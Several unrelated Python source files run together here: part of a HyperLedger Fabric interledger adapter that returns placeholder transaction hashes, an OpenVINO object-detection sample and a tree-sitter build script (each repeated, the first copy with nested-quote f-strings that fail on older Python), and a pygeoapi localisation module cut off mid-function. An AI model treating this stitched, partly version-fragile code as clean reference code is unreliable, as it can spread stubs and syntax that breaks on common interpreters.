ErrorCode.TRANSACTION_FAILURE, "commit_message": "Error in the transaction", "commit_tx_hash": "0xfake_tx_hash"} async def abort_sending(self, id: str, reason: int): """Initiate the abort operation to the connected HyperLedger Fabric. :param str id: the identifier in the originating ledger for a data item :param int reason: the code to signal the predefined reasons :rtype: dict { 'abort_status': bool, 'abort_tx_hash': str, 'exception': object,# only with errors 'abort_error_code': Enum, # only with errors 'abort_message': str # only with errors } """ # invoke interledgerAbort try: result = await self.client.chaincode_invoke( requestor=self.user, peers=self.peers, channel_name=self.channel_name, cc_name=self.cc_name, fcn="interledgerAbort", args=[int(id), int(reason)], wait_for_event=True) # print("abort result:", result) return {"abort_status": True, "abort_tx_hash": "0xfake_tx_hash"} except: return {"abort_status": False, "abort_error_code": ErrorCode.TRANSACTION_FAILURE, "abort_message": "Error in the transaction", "abort_tx_hash": "0xfake_tx_hash"} def event_handler(self, event_obj): print(f"block event handler triggered....") d = event_obj['data']['data'] actions = d[0]['payload']['data']['actions'] action = actions[0] print(f"action payload: {action['payload']}") event = action['payload']['action']['proposal_response_payload']['extension']['events'] event_name = event['event_name'] print(f"Event name: {event_name}") if event_name == "InterledgerEventSending": self.entries.append(event) def _buffer_data(self, events): res = [] for event in events: print(f"event to be cached: {event}") transfer = Transfer() byte_str = event['payload'] # encode the byte string and decode into a dict dict_str = byte_str.decode("UTF-8") parsed = ast.literal_eval(dict_str) transfer.payload = {'id': parsed['Id'], 'data': parsed['Data']} print("*********** buffer data *************") print(f"{transfer.payload}") print("*************************************") res.append(transfer) return res class FabricResponder(FabricInitializer, Responder): def __init__(self, net_profile=None, channel_name=None, cc_name=None, cc_version=None, org_name=None, user_name=None, peer_name=None): FabricInitializer.__init__( self, net_profile=net_profile, channel_name=channel_name, cc_name=cc_name, cc_version=cc_version, org_name=org_name, user_name=user_name, peer_name=peer_name ) async def send_data(self, nonce: str, data: bytes): # invoke interledgerReceive try: result = await self.client.chaincode_invoke( requestor=self.user, peers=self.peers, channel_name=self.channel_name, cc_name=self.cc_name, cc_version=str(self.cc_version), fcn="interledgerReceive", args=[nonce, data], wait_for_event=True) # print("send data result:", result) return {"status": True, "tx_hash": "0xfake_tx_hash"} except Exception as e: return {"status": False, "error_code": ErrorCode.TRANSACTION_FAILURE, "message": "Error in the transaction", "tx_hash": "0xfake_tx_hash", "exception": e}
#!/usr/bin/env python """ Copyright (c) 2018-2021 Intel Corporation Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ from __future__ import print_function import sys import os from argparse import ArgumentParser, SUPPRESS import cv2 import numpy as np import logging as log from openvino.inference_engine import IECore import ngraph as ng def build_argparser(): parser = ArgumentParser(add_help=False) args = parser.add_argument_group("Options") args.add_argument('-h', '--help', action='help', default=SUPPRESS, help='Show this help message and exit.') args.add_argument("-m", "--model", help="Required. Path to an .xml or .onnx file with a trained model.", required=True, type=str) args.add_argument("-i", "--input", help="Required. Path to an image file.", required=True, type=str) args.add_argument("-l", "--cpu_extension", help="Optional. Required for CPU custom layers. " "Absolute path to a shared library with the kernels implementations.", type=str, default=None) args.add_argument("-d", "--device", help="Optional. Specify the target device to infer on; " "CPU, GPU, FPGA or MYRIAD is acceptable. " "Sample will look for a suitable plugin for device specified (CPU by default)", default="CPU", type=str) args.add_argument("--labels", help="Optional. Labels mapping file", default=None, type=str) args.add_argument("-nt", "--number_top", help="Optional. Number of top results", default=10, type=int) return parser def main(): log.basicConfig(format="[ %(levelname)s ] %(message)s", level=log.INFO, stream=sys.stdout) args = build_argparser().parse_args() log.info("Loading Inference Engine") ie = IECore() # ---1. Read a model in OpenVINO Intermediate Representation (.xml and .bin files) or ONNX (.onnx file) format --- model = args.model log.info(f"Loading network:\n\t{model}") net = ie.read_network(model=model) # ----------------------------------------------------------------------------------------------------- # ------------- 2. Load Plugin for inference engine and extensions library if specified -------------- log.info("Device info:") versions = ie.get_versions(args.device) print(f"{" " * 8}{args.device}") print(f"{" " * 8}MKLDNNPlugin version ......... {versions[args.device].major}.{versions[args.device].minor}") print(f"{" " * 8}Build ........... {versions[args.device].build_number}") if args.cpu_extension and "CPU" in args.device: ie.add_extension(args.cpu_extension, "CPU") log.info(f"CPU extension loaded: {args.cpu_extension}") # ----------------------------------------------------------------------------------------------------- # --------------------------- 3. Read and preprocess input -------------------------------------------- for input_key in net.input_info: if len(net.input_info[input_key].input_data.layout) == 4: n, c, h, w = net.input_info[input_key].input_data.shape images = np.ndarray(shape=(n, c, h, w)) images_hw = [] for i in range(n): image = cv2.imread(args.input) ih, iw = image.shape[:-1] images_hw.append((ih, iw)) log.info("File was added: ") log.info(f" {args.input}") if (ih, iw) != (h, w): log.warning(f"Image {args.input} is resized from {image.shape[:-1]} to {(h, w)}") image = cv2.resize(image, (w, h)) image = image.transpose((2, 0, 1)) # Change data layout from HWC to CHW images[i] = image # ----------------------------------------------------------------------------------------------------- # --------------------------- 4. Configure input & output --------------------------------------------- # --------------------------- Prepare input blobs ----------------------------------------------------- log.info("Preparing input blobs") assert (len(net.input_info.keys()) == 1 or len( net.input_info.keys()) == 2), "Sample supports topologies only with 1 or 2 inputs" out_blob = next(iter(net.outputs)) input_name, input_info_name = "", "" for input_key in net.input_info: if len(net.input_info[input_key].layout) == 4: input_name = input_key net.input_info[input_key].precision = 'U8' elif len(net.input_info[input_key].layout) == 2: input_info_name = input_key net.input_info[input_key].precision = 'FP32' if net.input_info[input_key].input_data.shape[1] != 3 and net.input_info[input_key].input_data.shape[1] != 6 or \ net.input_info[input_key].input_data.shape[0] != 1: log.error('Invalid input info. Should be 3 or 6 values length.') data = {} data[input_name] = images if input_info_name != "": detection_size = net.input_info[input_info_name].input_data.shape[1] infos = np.ndarray(shape=(n, detection_size), dtype=float) for i in range(n): infos[i, 0] = h infos[i, 1] = w for j in range(2, detection_size): infos[i, j] = 1.0 data[input_info_name] = infos # --------------------------- Prepare output blobs ---------------------------------------------------- log.info('Preparing output blobs') output_name, output_info = "", None func = ng.function_from_cnn(net) if func: ops = func.get_ordered_ops() for op in ops: if op.friendly_name in net.outputs and op.get_type_name() == "DetectionOutput": output_name = op.friendly_name output_info = net.outputs[output_name] break else: output_name = list(net.outputs.keys())[0] output_info = net.outputs[output_name] if output_name == "": log.error("Can't find a DetectionOutput layer in the topology") output_dims = output_info.shape if len(output_dims) != 4: log.error("Incorrect output dimensions for SSD model") max_proposal_count, object_size = output_dims[2], output_dims[3] if object_size != 7: log.error("Output item should have 7 as a last dimension") output_info.precision = "FP32" # ----------------------------------------------------------------------------------------------------- # --------------------------- Performing inference ---------------------------------------------------- log.info("Loading model to the device") exec_net = ie.load_network(network=net, device_name=args.device) log.info("Creating infer request and starting inference") res = exec_net.infer(inputs=data) # ----------------------------------------------------------------------------------------------------- # --------------------------- Read and postprocess output --------------------------------------------- log.info("Processing output blobs") res = res[out_blob] boxes, classes = {}, {} data = res[0][0] for number, proposal in enumerate(data): if proposal[2] > 0: imid = np.int(proposal[0]) ih, iw = images_hw[imid] label = np.int(proposal[1]) confidence = proposal[2] xmin = np.int(iw * proposal[3]) ymin = np.int(ih * proposal[4]) xmax = np.int(iw * proposal[5]) ymax = np.int(ih * proposal[6]) print(f"[{number},{label}] element, prob = {confidence:.6f} ({xmin},{ymin})-({xmax},{ymax}) " f"batch id : {imid}", end="") if proposal[2] > 0.5: print(" WILL BE PRINTED!") if not imid in boxes.keys(): boxes[imid] = [] boxes[imid].append([xmin, ymin, xmax, ymax]) if not imid in classes.keys(): classes[imid] = [] classes[imid].append(label) else: print() tmp_image = cv2.imread(args.input) for imid in classes: for box in boxes[imid]: cv2.rectangle(tmp_image, (box[0], box[1]), (box[2], box[3]), (232, 35, 244), 2) cv2.imwrite("out.bmp", tmp_image) log.info("Image out.bmp created!") # ----------------------------------------------------------------------------------------------------- log.info("Execution successful\n") log.info( "This sample is an API example, for any performance measurements please use the dedicated benchmark_app tool") if __name__ == '__main__': sys.exit(main() or 0)
#!/usr/bin/env python """ Copyright (c) 2018-2021 Intel Corporation Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ from __future__ import print_function import sys import os from argparse import ArgumentParser, SUPPRESS import cv2 import numpy as np import logging as log from openvino.inference_engine import IECore import ngraph as ng def build_argparser(): parser = ArgumentParser(add_help=False) args = parser.add_argument_group("Options") args.add_argument('-h', '--help', action='help', default=SUPPRESS, help='Show this help message and exit.') args.add_argument("-m", "--model", help="Required. Path to an .xml or .onnx file with a trained model.", required=True, type=str) args.add_argument("-i", "--input", help="Required. Path to an image file.", required=True, type=str) args.add_argument("-l", "--cpu_extension", help="Optional. Required for CPU custom layers. " "Absolute path to a shared library with the kernels implementations.", type=str, default=None) args.add_argument("-d", "--device", help="Optional. Specify the target device to infer on; " "CPU, GPU, FPGA or MYRIAD is acceptable. " "Sample will look for a suitable plugin for device specified (CPU by default)", default="CPU", type=str) args.add_argument("--labels", help="Optional. Labels mapping file", default=None, type=str) args.add_argument("-nt", "--number_top", help="Optional. Number of top results", default=10, type=int) return parser def main(): log.basicConfig(format="[ %(levelname)s ] %(message)s", level=log.INFO, stream=sys.stdout) args = build_argparser().parse_args() log.info("Loading Inference Engine") ie = IECore() # ---1. Read a model in OpenVINO Intermediate Representation (.xml and .bin files) or ONNX (.onnx file) format --- model = args.model log.info(f"Loading network:\n\t{model}") net = ie.read_network(model=model) # ----------------------------------------------------------------------------------------------------- # ------------- 2. Load Plugin for inference engine and extensions library if specified -------------- log.info("Device info:") versions = ie.get_versions(args.device) print(f"{' ' * 8}{args.device}") print(f"{' ' * 8}MKLDNNPlugin version ......... {versions[args.device].major}.{versions[args.device].minor}") print(f"{' ' * 8}Build ........... {versions[args.device].build_number}") if args.cpu_extension and "CPU" in args.device: ie.add_extension(args.cpu_extension, "CPU") log.info(f"CPU extension loaded: {args.cpu_extension}") # ----------------------------------------------------------------------------------------------------- # --------------------------- 3. Read and preprocess input -------------------------------------------- for input_key in net.input_info: if len(net.input_info[input_key].input_data.layout) == 4: n, c, h, w = net.input_info[input_key].input_data.shape images = np.ndarray(shape=(n, c, h, w)) images_hw = [] for i in range(n): image = cv2.imread(args.input) ih, iw = image.shape[:-1] images_hw.append((ih, iw)) log.info("File was added: ") log.info(f" {args.input}") if (ih, iw) != (h, w): log.warning(f"Image {args.input} is resized from {image.shape[:-1]} to {(h, w)}") image = cv2.resize(image, (w, h)) image = image.transpose((2, 0, 1)) # Change data layout from HWC to CHW images[i] = image # ----------------------------------------------------------------------------------------------------- # --------------------------- 4. Configure input & output --------------------------------------------- # --------------------------- Prepare input blobs ----------------------------------------------------- log.info("Preparing input blobs") assert (len(net.input_info.keys()) == 1 or len( net.input_info.keys()) == 2), "Sample supports topologies only with 1 or 2 inputs" out_blob = next(iter(net.outputs)) input_name, input_info_name = "", "" for input_key in net.input_info: if len(net.input_info[input_key].layout) == 4: input_name = input_key net.input_info[input_key].precision = 'U8' elif len(net.input_info[input_key].layout) == 2: input_info_name = input_key net.input_info[input_key].precision = 'FP32' if net.input_info[input_key].input_data.shape[1] != 3 and net.input_info[input_key].input_data.shape[1] != 6 or \ net.input_info[input_key].input_data.shape[0] != 1: log.error('Invalid input info. Should be 3 or 6 values length.') data = {} data[input_name] = images if input_info_name != "": detection_size = net.input_info[input_info_name].input_data.shape[1] infos = np.ndarray(shape=(n, detection_size), dtype=float) for i in range(n): infos[i, 0] = h infos[i, 1] = w for j in range(2, detection_size): infos[i, j] = 1.0 data[input_info_name] = infos # --------------------------- Prepare output blobs ---------------------------------------------------- log.info('Preparing output blobs') output_name, output_info = "", None func = ng.function_from_cnn(net) if func: ops = func.get_ordered_ops() for op in ops: if op.friendly_name in net.outputs and op.get_type_name() == "DetectionOutput": output_name = op.friendly_name output_info = net.outputs[output_name] break else: output_name = list(net.outputs.keys())[0] output_info = net.outputs[output_name] if output_name == "": log.error("Can't find a DetectionOutput layer in the topology") output_dims = output_info.shape if len(output_dims) != 4: log.error("Incorrect output dimensions for SSD model") max_proposal_count, object_size = output_dims[2], output_dims[3] if object_size != 7: log.error("Output item should have 7 as a last dimension") output_info.precision = "FP32" # ----------------------------------------------------------------------------------------------------- # --------------------------- Performing inference ---------------------------------------------------- log.info("Loading model to the device") exec_net = ie.load_network(network=net, device_name=args.device) log.info("Creating infer request and starting inference") res = exec_net.infer(inputs=data) # ----------------------------------------------------------------------------------------------------- # --------------------------- Read and postprocess output --------------------------------------------- log.info("Processing output blobs") res = res[out_blob] boxes, classes = {}, {} data = res[0][0] for number, proposal in enumerate(data): if proposal[2] > 0: imid = np.int(proposal[0]) ih, iw = images_hw[imid] label = np.int(proposal[1]) confidence = proposal[2] xmin = np.int(iw * proposal[3]) ymin = np.int(ih * proposal[4]) xmax = np.int(iw * proposal[5]) ymax = np.int(ih * proposal[6]) print(f"[{number},{label}] element, prob = {confidence:.6f} ({xmin},{ymin})-({xmax},{ymax}) " f"batch id : {imid}", end="") if proposal[2] > 0.5: print(" WILL BE PRINTED!") if not imid in boxes.keys(): boxes[imid] = [] boxes[imid].append([xmin, ymin, xmax, ymax]) if not imid in classes.keys(): classes[imid] = [] classes[imid].append(label) else: print() tmp_image = cv2.imread(args.input) for imid in classes: for box in boxes[imid]: cv2.rectangle(tmp_image, (box[0], box[1]), (box[2], box[3]), (232, 35, 244), 2) cv2.imwrite("out.bmp", tmp_image) log.info("Image out.bmp created!") # ----------------------------------------------------------------------------------------------------- log.info("Execution successful\n") log.info( "This sample is an API example, for any performance measurements please use the dedicated benchmark_app tool") if __name__ == '__main__': sys.exit(main() or 0)
#!/usr/bin/env python3 import ctypes.util import distutils.ccompiler import os import platform import sys import tempfile # adapted from https://github.com/tree-sitter/py-tree-sitter def build(repo_paths, output_path="libjava-tree-sitter"): if not repo_paths: raise ValueError("Must provide at least one language folder") output_path = f"{output_path}.{"dylib" if platform.system() == "Darwin" else "so"}" here = os.path.dirname(os.path.realpath(__file__)) os.system(f"make -C {os.path.join(here, "tree-sitter")} > /dev/null") cpp = False source_paths = [ os.path.join(here, "lib", "ai_serenade_treesitter_TreeSitter.cc"), os.path.join(here, "lib", "ai_serenade_treesitter_Languages.cc"), ] compiler = distutils.ccompiler.new_compiler() for repo_path in repo_paths: src_path = os.path.join(repo_path, "src") source_paths.append(os.path.join(src_path, "parser.c")) scanner_c = os.path.join(src_path, "scanner.c") scanner_cc = os.path.join(src_path, "scanner.cc") if os.path.exists(scanner_cc): cpp = True source_paths.append(scanner_cc) elif os.path.exists(scanner_c): source_paths.append(scanner_c) compiler.define_macro( f"TS_LANGUAGE_{os.path.split(repo_path.rstrip("/"))[1].split("tree-sitter-")[-1].replace("-", "_").upper()}", "1", ) source_mtimes = [os.path.getmtime(__file__)] + [ os.path.getmtime(path) for path in source_paths ] if cpp: if ctypes.util.find_library("stdc++"): compiler.add_library("stdc++") elif ctypes.util.find_library("c++"): compiler.add_library("c++") output_mtime = os.path.getmtime(output_path) if os.path.exists(output_path) else 0 if max(source_mtimes) <= output_mtime: return False with tempfile.TemporaryDirectory(suffix="tree_sitter_language") as out_dir: object_paths = [] for source_path in source_paths: flags = ["-O3"] if platform.system() == "Linux": flags.append("-fPIC") if source_path.endswith(".c"): flags.append("-std=c99") include_dirs = [ os.path.dirname(source_path), os.path.join(here, "tree-sitter", "lib", "include"), os.path.join(os.environ["JAVA_HOME"], "include"), ] if platform.system() == "Linux": include_dirs.append( os.path.join(os.environ["JAVA_HOME"], "include", "linux") ) elif platform.system() == "Darwin": include_dirs.append( os.path.join(os.environ["JAVA_HOME"], "include", "darwin") ) object_paths.append( compiler.compile( [source_path], output_dir=out_dir, include_dirs=include_dirs, extra_preargs=flags, )[0] ) extra_preargs = [] if platform.system() == "Darwin": extra_preargs = ["-dynamiclib"] compiler.link_shared_object( object_paths, output_path, extra_preargs=extra_preargs, extra_postargs=[os.path.join(here, "tree-sitter", "libtree-sitter.a")], library_dirs=[os.path.join(here, "tree-sitter")], ) return True if __name__ == "__main__": if len(sys.argv) < 3: print( "Usage: build.py libjava-tree-sitter ./tree-sitter-python ./tree-sitter-javascript" ) sys.exit(1) distutils.log.set_verbosity(0) build(sys.argv[2:], sys.argv[1])
#!/usr/bin/env python3 import ctypes.util import distutils.ccompiler import os import platform import sys import tempfile # adapted from https://github.com/tree-sitter/py-tree-sitter def build(repo_paths, output_path="libjava-tree-sitter"): if not repo_paths: raise ValueError("Must provide at least one language folder") output_path = f"{output_path}.{'dylib' if platform.system() == 'Darwin' else 'so'}" here = os.path.dirname(os.path.realpath(__file__)) os.system(f"make -C {os.path.join(here, 'tree-sitter')} > /dev/null") cpp = False source_paths = [ os.path.join(here, "lib", "ai_serenade_treesitter_TreeSitter.cc"), os.path.join(here, "lib", "ai_serenade_treesitter_Languages.cc"), ] compiler = distutils.ccompiler.new_compiler() for repo_path in repo_paths: src_path = os.path.join(repo_path, "src") source_paths.append(os.path.join(src_path, "parser.c")) scanner_c = os.path.join(src_path, "scanner.c") scanner_cc = os.path.join(src_path, "scanner.cc") if os.path.exists(scanner_cc): cpp = True source_paths.append(scanner_cc) elif os.path.exists(scanner_c): source_paths.append(scanner_c) compiler.define_macro( f"TS_LANGUAGE_{os.path.split(repo_path.rstrip('/'))[1].split('tree-sitter-')[-1].replace('-', '_').upper()}", "1", ) source_mtimes = [os.path.getmtime(__file__)] + [ os.path.getmtime(path) for path in source_paths ] if cpp: if ctypes.util.find_library("stdc++"): compiler.add_library("stdc++") elif ctypes.util.find_library("c++"): compiler.add_library("c++") output_mtime = os.path.getmtime(output_path) if os.path.exists(output_path) else 0 if max(source_mtimes) <= output_mtime: return False with tempfile.TemporaryDirectory(suffix="tree_sitter_language") as out_dir: object_paths = [] for source_path in source_paths: flags = ["-O3"] if platform.system() == "Linux": flags.append("-fPIC") if source_path.endswith(".c"): flags.append("-std=c99") include_dirs = [ os.path.dirname(source_path), os.path.join(here, "tree-sitter", "lib", "include"), os.path.join(os.environ["JAVA_HOME"], "include"), ] if platform.system() == "Linux": include_dirs.append( os.path.join(os.environ["JAVA_HOME"], "include", "linux") ) elif platform.system() == "Darwin": include_dirs.append( os.path.join(os.environ["JAVA_HOME"], "include", "darwin") ) object_paths.append( compiler.compile( [source_path], output_dir=out_dir, include_dirs=include_dirs, extra_preargs=flags, )[0] ) extra_preargs = [] if platform.system() == "Darwin": extra_preargs = ["-dynamiclib"] compiler.link_shared_object( object_paths, output_path, extra_preargs=extra_preargs, extra_postargs=[os.path.join(here, "tree-sitter", "libtree-sitter.a")], library_dirs=[os.path.join(here, "tree-sitter")], ) return True if __name__ == "__main__": if len(sys.argv) < 3: print( "Usage: build.py libjava-tree-sitter ./tree-sitter-python ./tree-sitter-javascript" ) sys.exit(1) distutils.log.set_verbosity(0) build(sys.argv[2:], sys.argv[1])
# ================================================================= # # Authors: Sander Schaminee <sander.schaminee@geocat.net> # # Copyright (c) 2021 GeoCat BV # # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation # files (the "Software"), to deal in the Software without # restriction, including without limitation the rights to use, # copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the # Software is furnished to do so, subject to the following # conditions: # # The above copyright notice and this permission notice shall be # included in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES # OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT # HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, # WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR # OTHER DEALINGS IN THE SOFTWARE. # # ================================================================= import logging from typing import Union from collections import OrderedDict from copy import deepcopy from babel import Locale from babel import UnknownLocaleError as _UnknownLocaleError from urllib import parse LOGGER = logging.getLogger(__name__) # Specifies the name of a request query parameter used to set a locale QUERY_PARAM = 'lang' # Cache Babel Locale lookups by string _lc_cache = {} # Cache translated configurations _cfg_cache = {} class LocaleError(Exception): """ General exception for any kind of locale parsing error. """ pass def str2locale(value, silent: bool = False) -> Union[Locale, None]: """ Converts a web locale or language tag into a Babel Locale instance. .. note:: If `value` already is a Locale, it is returned as-is. :param value: A string containing a (web) locale (e.g. 'fr-CH') or language tag (e.g. 'de'). :param silent: If True (default = False), no errors will be raised when parsing failed. Instead, `None` will be returned. :returns: babel.core.Locale or None :raises: LocaleError """ if isinstance(value, Locale): return value loc = _lc_cache.get(value) if loc: # Value has been converted before: return cached Locale return loc try: loc = Locale.parse(value.strip().replace('-', '_')) except (ValueError, AttributeError): if not silent: raise LocaleError(f"invalid locale '{value}'") except _UnknownLocaleError as err: if not silent: raise LocaleError(err) else: # Add to Locale cache _lc_cache[value] = loc return loc def locale2str(value: Locale) -> str: """ Converts a Babel Locale instance into a web locale string. :param value: babel.core.Locale :returns: A string containing a web locale (e.g. 'fr-CH') or language tag (e.g. 'de'). :raises: LocaleError """ if not isinstance(value, Locale): raise LocaleError(f"'{value}' is not of type {Locale.__name__}") return str(value).replace('_', '-') def best_match(accept_languages, available_locales) -> Locale: """ Takes an Accept-Languages string (from header or request query params) and finds the best matching locale from a list of available locales. This function provides a framework-independent alternative to the `best_match()` function available in Flask/Werkzeug. If no match can be found for the Accept-Languages, the first available locale is returned. This function always returns a Babel Locale instance. If you require the web locale string, please use the :func:`locale2str` function. If you only ever need the language part of the locale, use the `language` property of the returned locale. .. note:: Any tag in the `accept_languages` string that is an invalid or unknown locale is ignored. However, if no `available_locales` are specified, a `LocaleError` is raised. :param accept_languages: A Locale or string with one or more languages. This can be as simple as "de" for example, but it's also possible to include a territory (e.g. "en-US" or "fr_BE") or even a complex string with quality values, e.g. "fr-CH, fr;q=0.9, en;q=0.8, de;q=0.7, *;q=0.5". :param available_locales: A list containing the available locales. For example, a pygeoapi provider might only support ["de", "en"]. Locales in the list can be specified as strings (e.g. "nl-NL") or `Locale` instances. :returns: babel.core.Locale :raises: LocaleError """ def get_match(locale_, available_locales_): """ Finds the first match of `locale_` in `available_locales_`. """ if not locale_: return None territories_ = available_locales_.get(locale_.language, {}) if locale_.territory in territories_: # Full match on language and territory return locale_ if None in territories_: # Match on language only (generic, no territory) return Locale(locale_.language) if territories_: # Match on language but another territory (use first) return Locale(locale_.language, territory=territories_[0]) # No match at all return None if not available_locales: raise LocaleError('No available locales specified') if isinstance(accept_languages, Locale): # If a Babel Locale was used as input, transform back into a string accept_languages = locale2str(accept_languages) if not isinstance(accept_languages, str): # If `accept_languages` is not a string, ignore it LOGGER.debug(f"ignoring invalid accept-languages '{accept_languages}'") accept_languages = '' tags = accept_languages.split(',') num_tags = len(tags) req_locales = {} for i, lang in enumerate(tags): q_raw = None q_out = None if not lang: continue # Check if complex (i.e. with quality weights) try: lang, q_raw = (v.strip() for v in lang.split(';')) except ValueError: # Tuple unpacking failed: tag is not complex (or too complex :)) pass # Validate locale tag loc = str2locale(lang, True) if not loc: LOGGER.debug(f"ignoring invalid accept-language '{lang}'") continue # Validate quality weight (e.g. "q=0.7") if q_raw: try: q_out = float([v.strip() for v in q_raw.split('=')][1]) except (ValueError, IndexError): # Tuple unpacking failed: not a valid q tag pass # If there's no actual q, set one based on the language order if not q_out: q_out = num_tags - i # Store locale req_locales[q_out] = loc # Process supported locales prv_locales = OrderedDict() for a in available_locales: loc = str2locale(a) prv_locales.setdefault(loc.language, []).append(loc.territory) # Return best match from accepted languages for _, loc in sorted(req_locales.items(), reverse=True): match = get_match(loc, prv_locales) if match: LOGGER.debug(f"'{match}' matches requested '{accept_languages}'") return match # Nothing matched: return the first available locale for lang, territories in prv_locales.items(): match = Locale(lang, territory=territories[0]) LOGGER.debug(f"No match found for language '{accept_languages}'; " f"returning default locale '{match}'") return match def translate(value, language: Union[Locale, str]): """ If `value` is a language struct (where its keys are language codes and its values are translations for each language), this function tries to find and return the translation for the given `language`. If the given `value` is not a dict, the original value is returned. If the requested language does not exist in the struct, the first language value is returned. If there are no valid language keys in the struct, the original value is returned as well. If `language` is not a string or Locale, a LocaleError is raised. :param value: A value to translate. Typically either a string or a language struct dictionary. :param language: A locale string (e.g. "en-US" or "en") or Babel Locale. :returns: A translated string or the original value. :raises: LocaleError """ nested_dicts = isinstance(value, dict) and any(isinstance(v, dict) for v in value.values()) if not isinstance(value, dict) or nested_dicts: # Return non-dicts or dicts with nested dicts as-is return value # Validate language key by type (do not check if parsable) if not isinstance(language, (str, Locale)): raise LocaleError('language is not a str or Locale') # First try fast approach: directly fetch expected language key translation = value.get(locale2str(language) if hasattr(language, 'language') else language) if translation: return translation # Find valid locale keys in language struct # Also maps Locale instances to actual key names loc_items = OrderedDict() for k in value.keys(): loc = str2locale(k, True) if loc: loc_items[loc] = k if not loc_items: # No valid locale keys found: return as-is return value # Find best language match and return value by its key out_locale = best_match(language, loc_items) return value[loc_items[out_locale]] def translate_struct(struct, locale_: Locale, is_config: bool = False): """ Returns a copy of a given dict or list, where all language structs are filtered on the given locale, i.e. all language structs are replaced by translated values for the best matching locale. :param struct: A dict or list (of dicts) to filter/translate. :param locale_: The Babel Locale to filter on. :param is_config: If True, the struct is treated as a pygeoapi config. This means that the first 2 levels won't be translated and the translated struct is cached for speed. :returns: A translated dict or list """ def _translate_dict(obj, level: int = 0): """ Recursive function to walk and translate a struct. """ items = obj.items() if isinstance(obj, dict) else enumerate(obj) for k, v in items: if 0 <= level <= max_level and isinstance(v, (dict, list)): # Skip first 2 levels (don't translate) _translate_dict(v, level + 1) continue if isinstance(v, list): _translate_dict(v, level + 1) # noqa continue tr = translate(v, locale_) if isinstance(tr, dict): # Look for language structs in next level _translate_dict(tr, level + 1) else: # Overwrite level with translated value obj[k] = tr max_level = 1 if is_config else -1 result = {} if not struct: return result if not locale_: return struct # Check if we already translated the dict before result = _cfg_cache.get(locale_) if is_config else result if not result: # Create deep copy of config and translate/filter values result = deepcopy(struct) _translate_dict(result) # Cache translated pygeoapi configs for faster retrieval next time if is_config: _cfg_cache[locale_] = result return result def locale_from_headers(headers) -> str: """ Gets a valid Locale from a request headers dictionary. Supported are complex strings (e.g. "fr-CH, fr;q=0.9, en;q=0.8"), web locales (e.g. "en-US") or basic language tags (e.g. "en"). A value of `None` is returned if the locale was not found or invalid. :param headers: Mapping of request headers. :returns: locale string or None """ lang = {k.lower(): v for k, v in headers.items()}.get('accept-language') if lang: LOGGER.debug(f"Got locale '{lang}' from 'Accept-Language' header") return lang def locale_from_params(params) -> str: """ Gets a valid Locale from a request query parameters dictionary. Supported are complex strings (e.g. "fr-CH, fr;q=0.9, en;q=0.8"), web locales (e.g. "en-US") or basic language tags (e.g. "en"). A value of `None` is returned if the locale was not found or invalid. :param params: Mapping of request query parameters. :returns: locale string or None """ lang = params.get(QUERY_PARAM) if lang: LOGGER.debug(f"Got locale '{lang}' from query parameter '{QUERY_PARAM}'") # noqa return lang def set_response_language(headers: dict, locale_: Union[Locale, None], remove: bool = False): # noqa """ Sets the Content-Language on the given HTTP response headers dict. If `locale_` is None and `remove` is True, this will delete an existing Content-Language header. If `remove` is False (default), an existing Content-Language header will never be deleted. In that case, if `locale_` is None, the Content-Language will remain unchanged (if set). :param headers: A dict of HTTP response headers. :param locale_: The Babel Locale to which to set the Content-Language. :param remove: If True and `locale_` is None, the Content-Language header will be removed. """ if not hasattr(headers, '__setitem__'): LOGGER.warning(f"Cannot set headers on object '{headers}'") return if not isinstance(locale_, Locale): if locale_ is None and remove: try: del headers['Content-Language'] except KeyError: return LOGGER.debug('No locale: removed Content-Language header') return LOGGER.debug('Keeping existing Content-Language header (if set)') return loc_str = locale2str(locale_) LOGGER.debug(f'Setting Content-Language to {loc_str}') headers['Content-Language'] = loc_str def add_locale(url, locale_): """ Adds a locale query parameter (e.g. 'l=en-US') to a URL. If `locale_` is None or an empty string, the URL will be returned as-is. :param url: The web page URL (may contain query string). :param locale_: The web locale or language tag to append to the query. :returns: A new URL with a 'l=<locale>' query parameter. :raises: requests.exceptions.MissingSchema """ loc = str2locale(locale_, True) if not loc: # Validation of locale failed LOGGER.warning( f"Invalid locale '{locale_}': returning URL as-is") return url try: url_comp = parse.urlparse(url) params = dict(parse.parse_qsl(url_comp.query)) params[QUERY_PARAM] = locale2str(loc) qstr = parse.urlencode(params, quote_via=parse.quote, safe='/') return parse.urlunparse(( url_comp.scheme, url_comp.netloc, url_comp.path, url_comp.params, qstr, url_comp.fragment )) except (TypeError, ValueError): LOGGER.warning( f"Failed to append '{QUERY_PARAM}={loc}': returning URL as-is") # noqa return url def get_locales(config: dict) -> list: """ Reads the configured locales/languages from the given configuration. The first Locale in the returned list should be the default locale. :param config: A pygeaapi configuration dict :returns: A list of supported Locale instances """ srv_cfg = config.get('server', {}) lang = srv_cfg.get('languages', srv_cfg.get('language', [])) if isinstance(lang, str): LOGGER.info(f"pygeoapi only supports 1 language: {lang}") lang = [lang] if not isinstance(lang, list) or len(lang) == 0: LOGGER.error("Missing 'language(s)' key in config or bad value(s)") raise LocaleError('No languages have been configured') try: return [str2locale(loc) for 